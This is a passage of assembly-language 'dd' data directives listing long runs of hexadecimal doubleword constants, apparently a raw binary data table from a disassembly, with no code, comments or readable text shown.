0BC71CD36h, 5D038DB7h, 0CCFC39CEh, 0D030173Eh, 8BF5002Ah dd 0C924F629h, 45C74526h, 0BE6E3001h, 0AA209B21h, 1B180008h dd 0F1E6538Dh, 9D76F761h, 5A56C006h, 1D21F2D3h, 40827C0Dh dd 0EA3B0BB5h, 60605132h, 87B8CB50h, 3DE100ACh, 759DCCC6h dd 9F077925h, 8EC84AD7h, 1480C064h, 1EA52B2Ch, 0F869111h dd 0A42041C9h, 0E766B072h, 0B4F2B430h, 722236F1h, 0E9EA007Bh dd 0DC6D5A6Ah, 3400801Ah, 12A0974h, 8C1E44h, 8A84831Bh dd 0D2DF5890h, 0AF264D01h, 0F48556ACh, 1207D1D0h, 0BACAB051h dd 0B7F78E00h, 2524Fh, 0FD485033h, 0E6AC9ED9h, 0EB9D29C0h dd 7DC8641h, 2916AB05h, 1ADF500Bh, 2303B399h, 114B85A0h dd 587DA0F9h, 0BD140060h, 668333E2h, 0FD006A96h, 0F854E628h dd 0E824Ch, 7BC907EAh, 0B67DBFB9h, 33EAC1Fh, 0E0012D8Eh dd 9DF5098h, 301A0EA4h, 92E1E1E9h, 2B1C9E10h, 0EFAB7500h dd 0A8E523h, 0B5D495C8h, 0FC3ADF02h, 802D303Dh, 0AFC2C389h dd 5E19FBh, 79F38B5Fh, 5568C543h, 9DEAEC01h, 9675824Ah dd 2A35DDCCh, 0D8BAC6h, 0F285FA07h, 2A72022Bh, 0A6A80300h dd 31B07DA7h, 74060F48h, 0C74045DBh, 4C17943Bh, 8518771Ch dd 38A18600h, 0C067ECD1h, 4893760Ch, 629D37C6h, 814080F2h dd 3017CBF9h, 1D10B835h, 56013E77h, 24E1B469h, 482448EEh dd 0B96C0C1Ah, 0C288D10h, 0A913E1FAh, 0FE01A0BFh, 668F914h dd 0D8F2E480h, 78F6A2Fh, 0A100EDF0h, 41CE1346h, 1F3EEAC2h dd 0B937D4E6h, 60D0A27Bh, 192D7071h, 0D01F6B97h, 12F6CC93h dd 0FB0F0705h, 0B200F4C8h, 6FF090Ah, 0AAE22CA0h, 29220099h dd 39DC0197h, 8D004CEEh, 36940D28h, 901652F4h, 4850C59Ch dd 72B70053h, 0CA9CAD8Ch, 6D1B3F00h, 0F8FAB78Eh, 0D90F0058h dd 7996F057h, 34068552h, 1DD60865h, 41F1F40h, 9B6C413Ah dd 0E85D026Ah, 0C2FA1A61h, 4A025490h, 99895347h, 49A80ADh dd 0F6672AFBh, 0C3312410h, 0DA7F003Ch, 0F89507F1h, 39B6000h dd 2B049F88h, 630C04BCh, 8168C328h, 0D86AE74Ch, 1F3E5EBEh dd 2F53806Dh, 0BCAD43E2h, 3BE6A077h, 69CA062h, 0FB130042h dd 0ABCA8358h, 357DE91Dh, 6E256100h, 5B1C451Bh, 7D84F413h dd 0CE911C88h, 39E100F5h, 92C3952Ah, 10CB9C04h, 0BAC33B1Bh dd 5EC0D0B9h, 7A4A1EB6h, 878D5DB3h, 2F1E9561h, 4B81310Eh dd 40A320D6h, 12B83CCDh, 81985D0Eh, 71CCE059h, 67EAC7h dd 4B700A7Ch, 6038C8E0h, 52E92800h, 0B6038331h, 74D307D7h dd 2CFC08Ch, 0B4807FFDh, 0F70A70FAh, 9C265804h, 6680979Bh dd 0B0B1401Bh, 1D2C300Dh, 0AC70AF10h, 17F01A00h, 583055EBh dd 51920032h, 6DB88A10h, 4300A459h, 899E2537h, 9D76C9Dh dd 7ED0A68h, 0A7526001h, 9804FC8Fh, 48902875h, 0A263F704h dd 5C803A7Fh, 0DAE90Ah, 0E2A6EDFDh, 2AC12D3Eh, 0A8FC4Dh dd 9327193Bh, 0B28F36h, 121C51CCh, 8C5514F8h, 7F3C58F6h dd 284876h, 0A7CF6471h, 4CD0686Fh, 490408DEh, 0C0748C82h dd 0FF485DBCh, 0AF250400h dd 0DE0FD8F6h, 0EB1C001Fh, 83321EA3h, 0F200874Bh, 40D21AC2h dd 0CDE315h, 0FB74E1CFh, 0DFA7E72Dh, 603B3400h, 52C18303h dd 9280F742h, 0E4B654B7h, 0C40057AEh, 5B5DFA27h, 0A038E146h dd 398DE84h, 1FAC03D2h, 80B82D91h, 4E008F74h, 874D2A37h dd 776F2079h, 18F20BB9h, 770F045Ch, 0CDC4A480h, 9C0066DCh dd 0AC347652h, 0D24596h, 0BB89C62Ah, 0D1F9F5DAh, 6AB9D8C7h dd 0E723DF10h, 0DB32A29h, 0A8D0FFA4h, 379F0062h, 0CDA5A60Ch dd 750EF647h, 0CBF381h, 0B01D2045h, 76590072h, 284A6B99h dd 0B700A304h, 0F6927FD4h, 0E041C711h, 172722Fh, 21FB099Dh dd 3671EC8Dh, 0B2DE072Ch, 0F00EAFCh, 0E36E2FFh, 100B5963h dd 3C156DA2h, 5C00446Eh, 0F5D48195h, 66FDA5h, 2732DE49h dd 9108DCEFh, 0CED7A909h, 0F8790720h, 6F9F6AE0h, 7CBF0112h dd 0A884F6C6h, 4CA820C0h, 0D514A900h, 53BEE06h, 83CB1D8Fh dd 1C1EFDDAh, 0F5BA80C4h, 0A8F7A5EFh, 8B3C3Fh, 2BC17609h dd 0ACDFBDh, 508D9FAAh, 2EA47ECEh, 0CEE2500h, 0FDD47B42h dd 0A779E0h, 9D62C1CCh, 7F3AED08h, 95306800h, 84019B27h dd 97110152h, 92077C70h, 3FA4F422h, 9B483901h, 3C5F2DF6h dd 0F1C0B8F3h, 0FD770088h, 0DFB44082h, 6100D415h, 5BED7EA5h dd 0EA8D4FB5h, 0CB09Ah, 2F17AE60h, 862DD635h, 9145A00h dd 0E128E351h, 0A9540079h, 0A6114233h, 0D27C0566h, 0AC2AA00h dd 5782ED68h, 412A00A2h, 265FEE8Eh, 9C702D43h, 0D62C0A00h dd 0ABFB30CBh, 7FA030DAh, 0E5963C71h, 62D7E001h, 167341E3h dd 282070E1h, 746178E1h, 428F1F2Ch, 186318BFh, 81FF17D9h dd 14721841h, 881FB3Ch, 4A77B508h, 0F002E961h, 30CBFFDh dd 30855540h, 625F18EBh, 0DA0258DBh, 3C910D03h, 0E7EF9960h dd 9A30E086h, 0E5F50764h, 0A2F79D47h, 0C80D9E3h, 18611FFDh dd 3C05D200h, 1AA0459Bh, 0FA3E07BFh, 208878DDh, 96EF6F7Dh dd 97173Bh, 0C0639EA5h, 0B058D96Eh, 74B40705h, 30550729h dd 0B026D1BFh, 0CB10DE00h, 17834C5Bh, 53AB0FCDh, 8A8058DCh dd 0A08DCAD2h, 0FFCFC400h, 92EC192Ch, 221E3D42h, 0B1847780h dd 5E47A8EAh, 8BB2D207h, 16C00F24h, 501E97C3h, 1BC19C7Dh dd 0C9C4089Ch, 0BC042EC5h, 91E308Bh, 90481F10h, 5988ECA3h dd 0D174A01h, 5E187C40h, 4200928h, 0D01B99FAh, 60D4494h dd 4424F044h, 5A44235Dh, 4151488Ch, 794E642h, 2D0028AAh dd 97988AF8h, 3E0344A5h, 85292364h, 77BE4E5Dh, 0F3794323h dd 0D4889383h, 0AC00B2A6h, 0C624D717h, 0B3E89Dh, 2AD38934h dd 0ABF36983h, 71A25Ch, 3228C064h, 2CF5E005h, 77D924h dd 0D2EB0CC5h, 872CA9B7h, 0E700D93Ah, 0B6454A74h, 242F0079h dd 53779D82h, 0D600A44Fh, 0A76DA021h, 1033128h, 8A9F3AB5h dd 0E83029CCh, 1A001D8Dh, 0A01090B3h, 8FAD56h, 6E02AB05h dd 0CC378A2h, 689AD703h, 0E1DD9Bh, 0E876910h, 91F6AEF1h dd 497F503Fh, 2C260E6Ch, 2F36A782h, 0D0F4E7A3h, 35B998h dd 1D5D50C5h, 82FA7DDEh, 0A03748CFh, 17642CF3h, 0F94C0088h dd 0B85EC159h, 0DB003B03h, 678B8CE0h, 68020Bh, 6CFE7C17h dd 0AEB9D363h, 0A2004DB8h, 51869A53h, 907FE679h, 0EF3F000Ch dd 5B20C3F9h, 40065664h, 391BDC9Ch, 13B577B0h, 0BBFCBF76h dd 33B20Eh, 15380AD7h, 230E0958h, 4780B064h, 59C7E3E8h dd 24D67D01h, 0C043DB52h, 0E108BF8h, 9198F79h, 5A1576E0h dd 0D0EAD6Ah, 0E0819DD3h, 1AA397D0h, 30A4003Ch, 496D57C4h dd 5097C7D8h, 72AF00B3h, 0B13BAE20h, 5900D9C2h, 4873FE6Eh dd 856966h, 0B05C76F3h, 0D67E71F2h, 5F927200h, 16386DADh dd 0D2DCC0F7h, 0FE8CE30Ah, 0B597F00Fh, 0DA8A603Dh, 4B5B45h dd 0B14FED80h, 0DFE6EF7Ah, 928ECA00h, 1944DE8Dh, 22F054h dd 76F2E049h, 0C5D974BCh, 0E472832Eh, 14932400h, 6FB51Eh dd 15965FBFh, 0DE9A7AE1h, 0E7D89503h, 7576E975h, 0EFCD0040h dd 0AB18311Ch, 0D4906120h, 7A3D731Eh, 95119B40h, 0F3B8B4h dd 0DFDB3FBBh, 0AFEFF9DAh, 99C73Ch, 0F16CEB17h, 0C8F5Ch dd 0F72A3912h, 13CC1B31h, 93144600h, 55AFC203h, 6D77FAh dd 733358B3h, 0B2767B35h, 0ECF0D598h, 1660800h, 56FB1A8Bh dd 2099388Eh, 0CF24A700h, 48AEBC5Eh, 0E4C58807h, 0B820EE32h dd 0E24F28h, 0B60E5089h, 0F5ECB4DCh, 8EFB7A00h, 0C21F6715h dd 2401002Ah, 0F9CB4AF0h, 5E790F6Dh, 600AC724h, 0B629E600h dd 24805F18h, 158F5B2h, 0EF612EEDh, 82373016h, 6C0B637Fh dd 8E6D595Ah, 20B600F0h, 7336727Eh, 956601A4h, 0E73254Ch dd 0A82BE8D1h, 9C6948C0h, 0C50F5EFh, 378BE199h, 52006019h dd 0FA672228h, 211E9Eh, 0DA803032h, 0EFE7A689h, 7A291018h dd 7EA3A0h, 0AC551A7Ch, 0C61E2885h, 94BFCE24h, 71304F87h dd 0D8395B00h, 88EC3A01h, 727DC100h, 0EE345412h, 0B6016A7Dh dd 0C531F5C3h, 87E8011Fh, 0B06FC24h, 2E9871D1h, 0F4694780h dd 0CB00143Bh, 0FF60477Ah, 565843h, 1C63DE48h, 6DF853B9h dd 0FE23BF00h, 2AC09182h, 43E90013h, 0AB267F2Bh, 55E689F1h dd 0F64D6800h, 0CE1B5B23h, 3F98EA21h, 31006D99h, 62243D8Dh dd 4A0B09ACh, 3C7A5D7h, 98671CD5h, 9861FB0Bh, 27280988h dd 5C003ABFh, 60871252h, 55D9DA00h, 0B3B8FABDh, 290E003Bh dd 59450F44h, 84BA6535h, 87A5ED09h, 0D95EC6h, 0D09749A3h dd 4638E983h, 0F8892E6h, 0EEEAA100h, 114891Ah, 326935E1h dd 0F424E301h, 26090921h, 0B84173h, 804476F8h, 0D2CA0172h dd 29C53386h, 34AFF023h, 0E3A1A803h, 0D8D3950Dh, 249A02h dd 266B20B1h, 33DA18FCh, 120DF70Eh, 2B27207Ch, 638E3Eh dd 312E78E7h, 25FF38C3h, 0E5806D00h, 0F1329664h, 5EC000D7h dd 44286F5Fh, 0A3007B7Ah, 0DBD824A1h, 0C377E9h, 7086E8DAh dd 0E73FCA9Ah, 9BAA5000h, 4C4F3ADEh, 28BC0096h, 6BB4E80Eh dd 0B1355EBDh, 0A0028CCh, 784FE345h, 38A500C6h, 0B7BD39F7h dd 5C1DB44Ah, 0E34059E7h, 0B0D09B9Ah, 52D500FFh, 0A86DF01Ah dd 0E1000814h, 0A74689CAh, 7EA13D8h, 426145BAh, 47261038h dd 18001122h, 873DB094h, 1276CEFCh, 165B2CBh, 2655B49Ah dd 89683080h, 0A80B5904h, 0A1C033BCh, 3FE4D51Bh, 8C01756Ah dd 0DCF57945h, 55C720A3h, 0CB46400Bh, 8089F585h, 0CEB0D280h dd 64004FFBh, 951826C1h, 1E0C11CDh, 0C0660FA4h, 507C68C2h dd 0A0130DACh, 0A604F57Dh, 9280ABF0h, 924C74h, 710CFBB9h dd 2A056911h, 0EBF6E401h, 8196254Ah, 3BC973E8h, 0B07DFC64h dd 0F82B00A2h, 9FCEF7B9h, 0AC009D5Ah, 8F33B326h, 24B84DFh dd 0C74F1367h, 0B880C172h, 0BD46B066h, 2192FD03h, 1C83C63h dd 1CA77918h, 0D4086A13h, 16014737h, 284431E9h, 56D88709h dd 96C000BEh, 0F101BFF5h, 747B4D0Ch, 0F4DE6F09h, 900B80B3h dd 7FB92Ch, 44609BDh, 67E6EA5Fh, 99CCFD00h, 2AC1045h, 0C0941C8Fh dd 20C7C093h, 8AE0313Ah, 300D371h, 0BB4E6CDEh, 4827E866h dd 7730CFh, 0C7B7ED5Ch, 4065F810h, 5218DA60h, 989588ADh dd 0F71A1E8Ch, 7DB500EEh, 0FBE6FEDDh, 4ECBBA00h, 0A8A1365Fh dd 0E451015Eh, 594276DBh, 6B1080A9h, 0A3AD3DCBh, 950B0063h dd 0CE6869Dh, 0B73C69F4h, 8CF52699h, 0EAFE5407h, 1A6EECB0h dd 0FFB600E8h, 0B88D6384h, 0C500DA5Ch, 7CF1C62Bh, 69B4D4h dd 0D3088142h dd 0ADA2F8CDh, 0ECB2E128h, 60F2F40Fh, 3B3EF6Bh, 9872487Bh dd 30A85C56h, 0F958EDADh, 2498B5EEh, 0A7D5F350h, 398A1600h dd 0EFD29D01h, 272B1C8Ch, 332EC00Eh, 99E21E9Ah, 0D7192303h dd 0D79D61D1h, 3EB787E0h, 5D0600D6h, 0B0304C67h, 0B4003AFCh dd 0D087D49h, 71DE66h, 0DF97559Dh, 1BD6DDB8h, 38A47800h dd 0C32EE38Ah, 0E8250367h, 0DAB6E706h, 0BEC046BBh, 210FEF95h dd 0C32360A5h, 0F0A27C82h, 0B8E46Ah, 3A7BBCB7h, 69B0C7EFh dd 59A03100h, 72CD2C1Eh, 5EBE0008h, 1CCCC1CEh, 280022E5h dd 0A5334394h, 0C4FEBh, 0F348C972h, 3B2DA851h, 38BC539h dd 35BC239Ah, 442EF097h, 74280189h, 0E1F36BB2h, 32D5EC98h dd 0FF753B00h, 0BFD6FDB6h, 0EEFAA7h, 310E264h, 6760759h dd 288EA600h, 80A865DBh, 3A470194h, 0CD99F6CFh, 2458E8E5h dd 8041BF3Dh, 4A53872Eh, 7FDB71h, 0D12FF346h, 0B0F8F41Bh dd 731E1001h, 8A63EC6Ah, 43242880h, 0E1B215CAh, 0F7C73F00h dd 6EBA78F2h, 17207CD6h, 0AB2A95h, 2BDE821Ah, 773CA169h dd 50C28F8Eh, 7FE620EAh, 1039A5Ah, 0CA766253h, 0F0E57729h dd 3B00D50Bh, 0A236E964h, 72903556h, 0ABA3C71h, 0AED1C180h dd 0A15CC36Eh, 940F500h, 3227F296h, 29880037h, 4D1002C1h dd 0AF002214h, 345E569Ch, 441EEBh, 68DBBBCFh, 0CD818EA9h dd 0CC2AB628h, 6787C802h, 409FA8BCh, 403E323Ch, 0C4304455h dd 0FBD710E0h, 554009Ch, 0EBD09386h, 0E8FF178Ch, 0EA067670h dd 29E2A58Ah, 0CD1B0050h, 0C2EB7E64h, 0F30770CBh, 0F9420693h dd 7B52B5C1h, 806020h, 31278984h, 108B3E97h, 1E0162E8h dd 0E1908FD3h, 66C83B25h, 0E3A60041h, 0BAFD2F75h, 0A2F05463h dd 16709300h, 0D54A4C46h, 4CCE049h, 79D1104Fh, 0BDC6C165h dd 93218027h, 83ACCB41h, 6DAB0047h, 282D5244h, 5000FF95h dd 0EE3FB023h, 674E7Bh, 41534D4Ah, 56546D58h, 47B1D8EBh dd 6056B3Ch, 6827AD0h, 38700C0h, 791383D2h, 320312D5h dd 96B088B4h, 0FBD4D044h, 0F487009Bh, 0D2EF9AE7h, 851CA978h dd 3700D65Fh, 2E722A45h, 7DF728ACh, 0A1A614D0h, 5D80E8D9h dd 0F86FFB60h, 79C6C02h, 8FACFDB1h, 4A6DA1E9h, 9C20A5F0h dd 3F7700F7h, 0D01B2466h, 0B300E172h, 3BAA78F8h, 4DB9186h dd 0EC40463Dh, 0DDC0FEF0h, 224ACBh, 6054135Fh, 0C8612C36h dd 0C645BC17h, 5B861507h, 435D8810h, 2E6C0002h, 294AEF1Ah dd 1E07E0A1h, 977374C7h, 0C0E4FBE2h, 0DDCF1Ch, 0F9805A83h dd 0F88FACCAh, 408BFE1Fh, 0DD259C0Fh, 5C64A740h, 76DA1AFh dd 0E759D698h, 0A360EE35h, 0A6E62632h, 3DB5A700h, 0D3EF550Ch dd 0C89E0084h, 8C23097Fh, 13D2E1Fh, 25F78754h, 67C0DB3Eh dd 36AC55h, 229CC32Ah, 52C863F1h, 61718600h, 0B8CDF10h dd 0C7D4B019h, 90E1CC18h, 271474E5h, 3D0003E8h, 0B573E032h dd 0F77D2h, 0CCF412F5h, 0D344F12Dh, 858C080Eh, 0EF7646h dd 1C278DA7h, 92002D0Bh, 82786776h, 7C6B24DFh, 0DEDA0087h dd 0D359F3E3h, 533D2F9Dh, 2B3C0217h, 0C0A54D25h, 28B760D1h dd 0EDAA31h, 2ECDBCA6h, 97741506h, 58CEFB1Eh, 0A117E280h dd 7C51BA49h, 0EC663F91h, 0DC809000h, 0C50DDDA5h, 0A81B5000h dd 4F61F68Eh, 0C98F0083h, 8CB1E47Bh, 4501D9EFh, 5988DFB7h dd 0F4209474h, 91600B9h, 0BD71184Ah, 0B700291Eh, 6652DCC8h dd 4E1BF79h, 5115ED59h, 1670802Ah, 0EB18172Bh, 981024DDh dd 0C0FC1202h, 27AF0383h, 1800254Eh, 0D813FFD3h, 0AE57DBh dd 7741A684h, 7E8E31B8h, 8611A509h, 6A9C80BAh, 0F904C9h dd 88BD2C91h, 26023210h, 0BF457D00h, 18CD82C1h, 246B4D63h dd 0E64C2C02h, 0EC409506h, 0E2004E9Ah, 0C91D8E71h, 85CED3h dd 92363AC7h, 0F1F80E8h, 53D03107h, 5770FC8Dh, 0C8E41Eh dd 0E086FB9Bh, 6752F305h, 0E5754400h, 4E6ECC26h, 0E0B07DD6h dd 97C4077Ah, 60421ED4h, 36DE403Ah, 83077305h, 0A481CCA0h dd 2830C858h, 7147916h, 0ACA12D1Ah, 8EF7B07Eh, 0CA2CB3C3h dd 681CE4CFh, 0FFC07B9Ch, 0DFDC6A02h, 0D61A1B56h, 0D8B8212Fh dd 9EFB9A92h, 99803511h, 1E5CB1D3h, 8474002Ah, 5F9BB057h dd 0A81FE93Ah, 4980190Eh, 8672A7EDh, 4B6105BDh, 80D0FC3Fh dd 0ED22238h, 45CED11Ch, 62A3F4C0h, 83E01Bh, 6E3178C2h dd 4126E766h, 4340E900h, 63346412h, 9AFCF2h, 0F5241F81h dd 5584A6ABh, 89740F00h, 4AB9AABFh, 8EDE005Dh, 0C5DF1F8Dh dd 0DC0B33B8h, 8030BE63h, 0C683AFB2h, 14B700ABh, 662F1D95h dd 9D7B2926h, 1B262AF2h, 0C4007035h, 0EA0E985Dh, 0E23A051Dh dd 88C85Ah, 9994EC8h, 0E007C310h, 0EC735F65h, 0FF7D5940h dd 7F0A0A8Fh, 194BBF5h, 8813A24Bh, 7CC440C0h, 0A94B02DBh dd 0E9C59F00h, 19F3822h, 840C28DDh, 80BA89FFh, 0A61C5738h dd 51A794Ah, 4CF77CA0h, 659C0917h, 0F33B2820h, 3E00D814h dd 275C1387h, 0F5C692h, 22AC7F93h, 0B6880F84h, 0F0D94F01h dd 64FD1ED3h, 3869B840h, 39AD7E08h, 77165327h, 4B7200F1h dd 0A9E0F2DAh, 910D4707h, 805BA181h, 7725A78Ch, 96CD07D0h dd 0F09FAFD9h, 0F0B06960h, 0A7F10D00h, 54B29AA3h, 7F6D0045h dd 0DF66B862h, 2D007150h, 4167A426h, 65604ECh, 0A048AC07h dd 3F00D1F3h, 0CB5A5C0Dh, 66BC6Fh, 861C31A4h, 0BA7C3E8Bh dd 6E8E7200h, 0BB368710h, 38BD7AFBh, 9AD09E19h, 7B7D1CC8h dd 0D40A40D9h, 4E8EC9A5h, 3C125Ch, 639702D2h, 22EB93h dd 1D550FF0h, 787DE410h, 0F30DB91Dh, 0DF9F64C0h, 795F7A2Ah dd 346000CBh, 0CA1129A7h, 7D00FAB2h, 62440EFh, 6C3596h dd 605A0E37h, 9A03F47h, 0EC4ABB00h, 80BB833h, 209C009Ah dd 6A84B0BFh, 8C003FB5h, 0C4AD905Bh, 0A067ACh, 33CE226Bh dd 602A4894h, 0F01F501h, 64C81573h, 0EA9D108Eh, 8CAA1C40h dd 930054C2h, 0AC583AA6h, 4C0B6C29h, 890F5CDAh, 7CA0B67Dh dd 0DE9A5321h, 377AD200h, 0A484C71h, 474000ACh, 0AF745A49h dd 5D4D5F7Bh, 0DE0B00ACh, 0D314558Dh, 0F456078Ch, 90983867h dd 3475B7E2h, 31038CA0h, 0DECFC12h, 8176670Bh, 0A661F71Bh dd 162C220h, 6B8D66A5h, 200455FCh, 110041ABh, 0A5AA873h dd 17FD9A87h, 32F3712h, 25A12A5Ch, 33BE7790h, 1E60E91Bh dd 0A88CA068h, 2B89452h, 142BA995h, 0D0971068h, 91764500h dd 0A2530B59h, 0EAEF0751h, 800AC1C6h, 0D4492687h, 6A20D860h dd 0C7291Ah, 0EF2DEDAAh, 53C87A73h, 2879D501h, 99AE5188h dd 0B394180h, 4F976854h, 92DFF100h, 94CDF6D6h, 59D718F2h dd 0EDD0282Ch, 0FC54AD24h, 0A986321Dh, 0C06984C9h, 0DBF75D20h dd 813B7F41h, 1D6F819Dh, 33A0231Fh, 0EB509880h, 0B10FCBE6h dd 93BC3903h, 899C7CECh, 0A4D1F361h, 0F90920h, 0E5AE868Eh dd 0BB2974FAh, 0BE7C3600h, 44EABD5Dh, 0CAA200B4h, 0AC7E5EECh dd 273762ADh, 0BB608111h, 0CA2DD739h, 40042C11h, 0E9AE6726h dd 780009F8h, 4BEDB75Eh, 0CD9437h, 0AD73976Ah, 8D577E31h dd 35DDA901h, 5AC99A0Eh, 1EAC3730h, 804456BAh, 0EC8DB415h dd 0AD001267h, 0F1BF8128h, 0B83AE669h, 7F7600D9h, 65664A9Ah dd 6E015E6Fh, 89AF4F15h, 0EEC887D6h, 0BBFA62h, 50540DABh dd 5D6308A0h, 0A2FDAA00h, 0D05EA1F8h, 76070F09h, 5360E649h dd 6F362BFBh, 95BCC31Eh, 809FECC9h, 0F073B2C8h, 0D45E1E3Ah dd 143C802Bh, 685AFC25h dd 2474E2F0h, 138B2D00h, 0E9E71271h, 0F618007Bh, 0E6567AEAh dd 0BA009EB8h, 685FF91Dh, 0EC411038h, 3B7C7Ch, 11FB6A63h dd 0D44CF398h, 0C5EDF600h, 49CC96E4h, 308700ADh, 0C34E591h dd 6300E118h, 0A82761FFh, 712853CDh, 41CE0009h, 847B5A3Dh dd 0BB0032E5h, 0D13987E9h, 3BD99E03h, 0F505223Ah, 4A0A06CFh dd 0A0BDDCh, 0F1EBCDA3h, 2F445213h, 0C5B00BFh, 0A25A4BDh dd 0CE00C18Dh, 8816D9D3h, 0F798EF8h, 0F01853FFh, 38402880h dd 3D004EE2h, 19D3E1ADh, 12532529h, 218CD903h, 0C033AC0Ch dd 0F800FF36h, 98096A37h, 0DAE39h, 2AC3E9E0h, 0B8DFED63h dd 0E3271E01h, 8904F6D8h, 0C4EBC8h, 1D32A3B5h, 72AF8308h dd 0A6D43000h, 6739CB97h, 76F9004Ah, 9C232933h, 4878083Eh dd 38DC60C0h, 39F0AB1Eh, 0F800E283h, 7B46E6E3h, 0B076885h dd 3686423Eh, 0D1F206E0h, 0B99D00BBh, 4B9F75E4h, 32007C41h dd 0F4888234h, 772AD36h, 0CDCC4F91h, 442A90E0h, 0D4A1ACE6h dd 0AACBF443h, 0A8F484F6h, 0EA809E03h, 0C7A1ADA0h, 0F3552440h dd 0A970001Eh, 44F96DD4h, 9400F8B1h, 0BE460A7Eh, 7BBF5Eh dd 0ADC46272h, 0F65B790h, 0D8C5DE2Ah, 9C7F8A00h, 96677C4Ch dd 89E44Dh, 0E206D44Bh, 7723B753h, 0BCA8D60Fh, 0E0D92E69h dd 75E329F9h, 38DF00B4h, 7F55E40h, 420092FFh, 0EA4F9A65h dd 0EEF019h, 0B96D6B4h, 1354B7Dh, 0EFB97109h, 6D8E001Dh dd 3D420644h, 0ECC8433Dh, 0AB0E2C39h, 0A40E6EE8h, 4DC60880h dd 0D80376DAh, 0ED77C74Bh, 0DC86E8E2h, 70F7010Eh, 0B568E601h dd 0E809D1D9h, 6404E302h, 0AD40B4A1h, 0D80BC87h, 9683387h dd 9BB64D7Eh, 53A86007h, 88B81E9Ch, 0B801373Fh, 4D7450A0h dd 2820346Ah, 0AFD512F7h, 0A25C0032h, 17547508h, 0DE244892h dd 108340D0h, 900DFFA5h, 90E0158h, 6A958660h, 9D1E7820h dd 9800A8BEh, 48D53780h, 67E23Fh, 28428A2Ah, 617DFFE7h dd 0B6FA8F00h, 70DFE402h, 0BE8124D7h, 51248764h, 9A85008Eh dd 0EC0030D2h, 944DE6BDh, 1407AE5h, 24C53D8Ch, 0F4817B62h dd 5A03E7AEh, 4EF880BAh, 47259875h, 9760C30h, 0EC18BB49h dd 8A5E1700h, 0D38D3E58h, 615133AEh, 5BF0C540h, 0FA005C8Ch dd 0C47F7933h, 57BDE1h, 703DB8C3h, 0D7F1883Eh, 0BFA6DF00h dd 94FE6E60h, 0FF690073h, 35BC1249h, 0F31E405Dh, 0E680C029h dd 3786B9EBh, 27560065h, 69D576AEh, 0F902BE11h, 708910FAh dd 9844402Fh, 0A2910050h, 81DE3C31h, 1700BB07h, 83898465h dd 2DE8BCh, 1121FFB1h, 6437B57Bh, 0E3A82000h, 2235A63Ah dd 0D3D000E7h, 0B770CECAh, 0F400ADF7h, 2E826CD6h, 3AFC84h dd 6604D1A2h, 0DA0E1753h, 487A39h, 35980760h, 0B03F436Dh dd 0C06B03E9h, 954FD6FDh, 0C518EA02h, 4966C1B5h, 99E8C754h dd 0FF9009Bh, 50566144h, 4214F2C9h, 0D0EEDBh, 0D99BAF65h dd 80836Dh, 59DEFBB1h, 0C8E27C32h, 7B293Dh, 9AA119E3h dd 0D58535h, 2EDAFE0Eh, 50758B63h, 2AEACD00h, 4276B9B7h dd 317F690h, 6ABD4D9Dh, 4AE05C48h, 0F500DDA0h, 19206C98h dd 7FD347DCh, 0B87D00DEh, 0BC507D9h, 8100CF21h, 0AF6A784Ch dd 0ADA903h, 3693B01Ah, 0B6E9676Bh, 0D6EF5200h, 14E19781h dd 359F0D8h, 46238D62h, 5D81C64Eh, 0E87AE53Ch, 0D200830Dh dd 0F769A2E2h, 17AC12h, 0DBABEF53h, 0D8DAE662h, 1F3E2A0Fh dd 0E31C8E7Ch, 2B6C648h, 4A30E5C2h, 0D180A7DDh, 0F373AA29h dd 0AF5EC800h, 1DFF2EB1h, 39F698h, 9BCFC17Bh, 0A34B19B2h dd 6F4A7100h, 385D8A0Ah, 836000F4h, 486CBB3Ch, 0C37F3FAAh dd 30B21E1Eh, 9F3F9CDEh, 0EF8047D4h, 0F625CA5Eh, 0ACCB042Eh dd 0C24C6D0Ah, 4BE28A44h, 0C6A78200h, 2B004D62h, 2018512Fh dd 999D1Dh, 0B2A69106h, 1FEB108Ah, 0F98D4E00h, 0D1B08489h dd 0D62B00C2h, 6A42A749h, 601139Dh, 0DBCD6F96h, 0BBC4DF3Ch dd 60080085h, 7A7F2103h, 431C1B97h, 1E4F7781h, 426503E6h dd 0A19990DAh, 0C241C0B6h, 7A2FBB76h, 18BD6100h, 803C87A3h dd 0DEB0073h, 0C0D12CF0h, 80B58307h, 7B750B54h, 3B223D24h dd 8800443Bh, 6AE52787h, 3000A06Bh, 0CC6F92B1h, 0E18D78h dd 7A7B09DBh, 6B1C011Dh, 821A340Dh, 0AE8E0C7h, 96D03F2Ch dd 589874h, 459BA885h, 0A3C78DC4h, 24003890h, 329023BEh dd 8FE9FFh, 8B054031h, 151292ADh, 0C89430Fh, 7A4C6013h dd 15B3F1Fh, 62561C7Bh, 0D5546624h, 57933020h, 0A15CE8FEh dd 0C9F61D24h, 0BF8850B8h, 0C4B25C18h, 1074871h, 0C7CC76CAh dd 31D41E40h, 6442F011h, 151DEA0Dh, 0ACE0288Ah, 868B00E9h dd 0C403FEB0h, 74053671h, 0D9F0E694h, 0F5EA80FEh, 2F7BA3C9h dd 8361C06Fh, 0B18268DEh, 49F8DC92h, 116A6006h, 0AA8FFB64h dd 80D9783Fh, 2CF98A1Eh, 548DE995h, 7BC42849h, 0E1D900D1h dd 503FF2ABh, 443D0456h, 1B338113h, 741FD6D5h, 32B4570h dd 0AB8DDAC1h, 28FB4092h, 0E2C27F88h, 0EB8E3E09h, 0C34E00D9h dd 1E4FB14Bh, 0C0249E65h, 0DB6D481Dh, 0D3B0428Ch, 27AF5F00h dd 989DACB6h, 0E8CBE402h, 537D00A3h, 74E90AC9h, 1700D961h dd 0ED7C7E47h, 0F358F6h, 3268284Fh, 739CAF24h, 88514200h dd 252DF9EAh, 0D0D968C7h, 0F004238Ch, 0DC60EE22h, 0B48FE810h dd 0CB090EE0h, 0FE20457Ah, 5FE6C499h, 77CD0E0h, 67F5C007h dd 2CC10405h, 9F474649h, 0E019EEC0h, 2C9E502Fh, 0D1203F8Eh dd 7250E1B1h, 18A0086Dh, 29DC78F2h, 9D75262Ch, 0F267BCA1h dd 0F6ED80DFh, 0F5EAA576h, 6ACAAECh, 48BAC931h, 0AD5461E3h dd 0DE403460h, 9C9D188Eh, 3F9F1989h, 5A8711Fh, 93F6C642h dd 7D7098AAh, 7B9480F5h, 34AD63Ah, 0A44805E2h, 0B5E810F0h dd 0AE61F04h, 0C98047DEh, 0F364B072h, 78C34479h, 0F8ABE315h dd 0ED48804Ch, 7C25D5EFh, 453E1874h, 9EFCA973h, 31C79C22h dd 0B6F8FA8Eh, 42A89EC8h, 38FD3B8Ch, 0E5C03071h, 